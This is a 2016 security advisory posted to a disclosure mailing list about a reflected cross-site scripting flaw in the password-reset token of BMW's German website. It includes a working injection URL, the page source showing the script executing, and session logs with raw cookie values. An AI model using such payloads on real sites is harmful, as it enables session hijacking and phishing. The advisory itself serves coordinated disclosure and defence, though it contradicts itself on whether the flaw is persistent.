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[FD] BMW - (Token) Client Side Cross Site Scripting Vulnerability

To: fulldisclosure@xxxxxxxxxxxx
Subject: [FD] BMW - (Token) Client Side Cross Site Scripting Vulnerability
From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
Date: Fri, 8 Jul 2016 10:27:12 +0200
Document Title:
===============
BMW - (Token) Client Side Cross Site Scripting Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1737


Release Date:
=============
2016-07-06


Vulnerability Laboratory ID (VL-ID):
====================================
1737


Common Vulnerability Scoring System:
====================================
3.6


Product & Service Introduction:
===============================
Bayerische Motoren Werke AG - German for Bavarian Motor Works), usually known 
under its abbreviation BMW, is a German luxury automobile, motorcycle, 
and engine manufacturing company founded in 1916. Headquartered in Munich, 
Bavaria, Germany, it also owns and produces Mini cars and serves as the 
parent company of Rolls-Royce Motor Cars. BMW produces motorcycles under BMW 
Motorrad, and plug-in electric cars under the BMW i sub-brand. It is 
one of the best-selling luxury automakers in the world. The company is a 
component of the Euro Stoxx 50 stock market index.

(Copy of the Vendor Homepage: https://en.wikipedia.org/wiki/BMW )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a client-side cross site 
scripting web vulnerability in the official BMW online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the 
official BMW online service web-application.
The vulnerability allows remote attacker to inject own malicious script codes 
to the client-side of the affected module context.

The vulnerability is located in the `t` value (token) of the 
`passwordResetOk.html` web-application file. Remote attackers are able 
to inject own client-side script codes to the `passwordResetOk.html` file. the 
request method to inject is GET and the vulnerability 
is located on the client-side of the affected bmw web-service. The attacker 
injects the payload after the secure token to execute the 
context in the passwordResetOk.html file. The vulnerability is a classic 
client-side cross site scripting web vulnerability.

The security risk of the non-persistent vulnerability is estimated as medium 
with a cvss (common vulnerability scoring system) count of 3.6. 
Exploitation of the persistent input validation web vulnerability requires no 
privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
non-persistent phishing, non-persistent external redirects to malicious 
source and non-persistent manipulation of affected or connected application 
modules.


Request Method(s):
                                [+] GET

Vulnerable Module(s):
                                [+] ./de/publicPools/landingPages/

Vulnerable File(s):
                                [+] passwordResetOk.html

Vulnerable Parameter(s):
                                [+] t (token)

Affected Module(s):
                                [+] Password Reset Function



Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by 
remote attackers without privileged web-application user account and with low 
user interaction (click|link).
For security demonstration or to reproduce the client-side cross site scripting 
web vulnerability follow the provided information and steps below to continue.


PoC: Payload
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3C[CLIENT
 SIDE SCRIPT CODE 
INJECT!]iframe%20src=a%20onload=alert%28document.cookie%29%20%3C


PoC: Source - resetpasswordMain (t=)
<div class="resetpasswordMain">
    <div class="resetpasswordHeadlineContent resetpasswordContent">   
      <div class="headline parbase headlineColor base 
resetpasswordMainHeadline">
<h1 id="HeadlineColord8dcc58d2d76c0583906abb15bd57c27" class="headlineNormal 
headlineDarkGrey ">Ihr neues Passwort für Mein BMW.</h1></div>  
      <div class="headline resetpasswordMainSubheadline parbase headlineColor 
base">
<h3 id="HeadlineColora3be466af12d8b02db081f15ddf8c61f" class="headlineNormal 
headlineDarkGrey ">Legen Sie hier Ihr neues Passwort fest.</h3></div>
    </div>
    <fieldset class="copyText resetpasswordFields componentSetFormInputArea">
      <input id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5token" 
value="OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK" type="hidden">[CLIENT SIDE SCRIPT CODE 
EXECUTION!]<iframe src="a" onload="alert(document.cookie)" <"="">
      <div class="componentSetEditAreaNewRow">
        <label for="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password" 
class="componentSetFormInputLabel">Neues Passwort*</label><input 
type="password" 
        class="componentSetInputTxt  componentSetHasRightInfoIcon  password 
required" id="Passwordreset4041967ae0273887df5ec8cd5adcc2c5password" 
name="passwordResetPassword"/><span class="myBMW-tooltip"><div 
class="tooltipComp"><div class="componentSetInstantCheck"><div class="parbase 
base instantCheck">
<div class="instant-check">
    <p class="headline">Ihr Passwort muss die folgenden Bestandteile haben:</p>
    <ul>
        <li class="length">Mindestens 8 Zeichen</li>
        <li class="minimum">Mindestens 2 dieser 3 Gruppen</li>
        <li class="no-list">
            <ul class ="innerul">
                <li class="letters">Buchstaben<br/>(abc = ABC, nicht ÄÖÜ)</li>
                <li class="numbers">Ziffern</li>
                <li class="specials">Sonderzeichen<br/>,.+-()@:;*</li>
            </ul>
        </li>
    </ul>
</div></div>
</div></div>


--- PoC Session Logs ---
Status: pending[]
GET 
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C
 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des 
Inhalts[unknown] Mime Type[unknown]
   Request Header:
      Host[www.bmw.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 
Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Cookie[_=digitalv25; bw=5000Kbps+; 
consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D;
 languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; 
s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; 
bmwdtm_sid=G1IA191419; 
v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; 
v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; 
vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; 
vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; 
vee24.nudgeReceived.timestamp=; vee24.noThanks=1; 
FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA;
 
FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D;
 
FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA;
 
FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D;
 
FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D;
 
FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D;
 FieldsetformsFormFieldSetsAddressRefFSCompon
ent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D;
 
FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D;
 
FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D]
-
Status: 200[OK]
GET https://www.bmw.de/de/publicPools/landingPages/a[CLIENT SIDE SCRIPT CODE 
EXECUTION!] Load Flags[LOAD_DOCUMENT_URI  ] Größe des Inhalts[93] Mime 
Type[text/html]
   Request Header:
      Host[www.bmw.de]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 
Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      
Referer[https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html?t=OiWU9ARpVXDXDjlRJ3tS6XxgnOvkFzRK%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%20%3C]
      Cookie[_=digitalv25; bw=5000Kbps+; 
consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D;
 languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; 
s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; 
bmwdtm_sid=G1IA191419; 
v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; 
v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; 
vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; 
vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; 
vee24.nudgeReceived.timestamp=; vee24.noThanks=1; 
FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA;
 
FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D;
 
FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA;
 
FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D;
 
FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D;
 
FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D;
 FieldsetformsFormFieldSetsAddressRefFSCompon
ent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D;
 
FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D;
 
FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D]
      Connection[keep-alive]
   Response Header:
      Server[Apache]
      Cache-Control[must-revalidate, max-age=6541, public]
      Expires[Thu, 18 Feb 2016 12:26:40 GMT]
      Content-Length[93]
      Content-Type[text/html; charset=utf-8]
      Date[Thu, 18 Feb 2016 10:37:39 GMT]
      Connection[keep-alive]
      X-N[S]


-
Cookie:
_=digitalv25; bw=5000Kbps+; 
consentCookie=%7B%22timestamp%22%3A1405786130053%2C%22consentFirst%22%3A%22ACCEPTED%22%2C%22consentThird%22%3A%22ACCEPTED%22%7D;
 languageCookie=de; visitorid=2d98116044640000a69ac5562c030000c8000000; 
s_fid=4ECAF51566D8ECCD-347548FD67B7DA07; s_cc=true; vee24.testCookie=1; 
bmwdtm_sid=G1IA191419; 
v24u_ipremiumservicegmbh=fac51fe1-5a11-48d3-b5b3-3ee11278d107; 
v24s_ipremiumservicegmbh=9bc46aa0-7204-40e4-98e8-3ac1efcd6e11; 
vee24.autoNudgeRules=1:1455790787942|1:1455790911094; vee24.userIsActive=1; 
vee24.numberOfNudgesShown=2; vee24.nudgeReceived.timeout=; 
vee24.nudgeReceived.timestamp=; vee24.noThanks=1; 
FieldsetformsFormFieldSetsCurrentVehicleFSComponent=N4IgRgTghgdgJiAXKApjKYA2KGIC4QCuKANCAG5SbFIgBCAsgOogC%2BZAzihAJYodJU6LDiQFiZStRS0AogA4AjGzIBbAPZwUmQSDQZsucaQpUaiEIoAKi5exA8YPAigDmAfQ0w8AC136RIyITKXMQAAY7MkdnCDd3AE8UKAh%2FYUMxYMkzGQsAJkiAVjZWIAA;
 
FieldsetformsFormFieldSetsNumberFamilyMembersFSComponent=N4IgdgrgtgRgpgJwGIEMoEsA2BPAsnWRAZxAC5Q4wUZM4ATMgFwQjgBoQA3FTVskACwgAvsKAAA%3D;
 
FieldsetformsFormFieldSetsNumberCarsInHouseholdFSComponent=N4IgdgrgtgRgpgJwM4GECGyCSYASB7CJOACzwBsATEALlDjDRjLiuoBcEI4AaEANzRkuNEABYQAXwlAA;
 
FieldsetformsFormFieldSetsHobbiesFSComponent=N4IgrgzgpgTg%2BgCwPYCMUEsoTgaygTzgHEB5AGQDEQAuUKAOwEMUAbKAExoBcYwoAaEAGMEUIXk7UefAL6DIsRKgxZcBOAGUSAOQ0AVAJJEAohpp0mrDt14Dho8deoAzRi2hzw0eMjSZseIQUAIIAEgBK4cEAIiERxtrmIAzMbJLSdiJiEjay8t5KfqqBcACyJHok4RoAClV6SSlW6baCWY4teV6KvioB6gDqwRoaxtV14Q20yZZpuZkOOVK2ngo%2Byv5qhHoJ2gZm001zy3xti04ZqwW9myUaANL7E1MWqRet9tnvsjJAA%3D%3D;
 
FieldsetformsFormFieldSetsPersonalDataFSComponent=N4IgrgzgpgTg%2BgBxgewGYEsA2U4QIaZgAueR6yAdnAGIBKAggKogBcoUFeARtgCatEYYKABoQAYwAWUcQGso%2FFqgLQAvmMixEKDNlwFipclQASAUVq1W7TjwUChoidLn2Wg4epBki2ayA5uPgdhMQA3AyhWEAARKy8MGAgiTgBbKLYA22D3R3DI6Ji8VPQ8ChAvTDxktIybILcPJwjCDJAAIRQAdwp0CgBzCArVIAAA%3D;
 
FieldsetformsFormFieldSetsBirthdayFSComponent=N4IgJghgniBcoFMB2EBGAbBY4BcBOArggDQgBuE6RcIADAEwgC%2BpAtgPZI4AWciKGLLkIlylarDoBmZqSgIIePiGRpM2WPiKkKVBDQCMATgAcMpkyAA%3D;
 FieldsetformsFormFieldSetsAddressRefFSComponent=N4Igrgzgp
gTg%2BgBxgewGYEsA2U4EMAm%2BMUE0EcADHHocaQMoAuujkcACgEoCSAagIIAVAKIgAXKCgA7XACNs%2BcYxhgoAGhABjABZRNAayiKxqXJmgBfDZFiIUGbDSIkylagWcNmrcgCEAqvTcAHLC9PTikjLyRkoq6lq6BrFiyqpWWsgAtgi4UgCewbhZUJEg0nIKcaoaAG5mquIguBD4LYoZCMgQzJgAwsj4pRLl0VWp8XUNwyAAzAAsAEzzAGwgGZrojPllFTHGaQn1mI1iILxQmJhZuDDrGj3EUIy7YymHUyczvsQlMI8taD3EDaZA2YJgLKyWCvSrvSYgY6nOaLYGaMFSZT5ODQbCaF4jPbjD6I6ZNAAiogsFiAAAA%3D%3D;
 
FieldsetformsFormFieldSetsCommunicationsFSComponent=N4IgDgFg9gdgpiAXKOMCGAjANnAJkgFwCcBXOAGhADc0sykQAmAZgBYBGRjrz1kAX0pwAtmgCWWJCnTY8hUhWq16iEBgDWwgAJwqUOgTGwAtAGc4AYwB0FqMIH8gAA%3D%3D;
 
FieldsetformsFormFieldSetsPlannedPurchaseFSComponent=N4IgDgNghgdjCmATACgVwE4GMAWUDO8IAXKPDFAEYRLEAu6q8ANCAG5QSPEgBMADAEYAnAFo%2BPMQIAqfPkVny%2BIAL7KgAA%3D%3D


Reference(s):
https://www.bmw.de/
https://www.bmw.de/de/
https://www.bmw.de/de/publicPools/
https://www.bmw.de/de/publicPools/landingPages/
https://www.bmw.de/de/publicPools/landingPages/passwordResetOk.html


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the `t` value 
(token) in the `` web-application file.
Restrict the input and disallow special chars to prevent client-side script 
code injection attacks in the reset account function.
Setup a secure token that is approved after the redirect to disallow 
client-side attacks against the reset token.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in 
the token value of the reset function is estimated as medium. (CVSS 3.6)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

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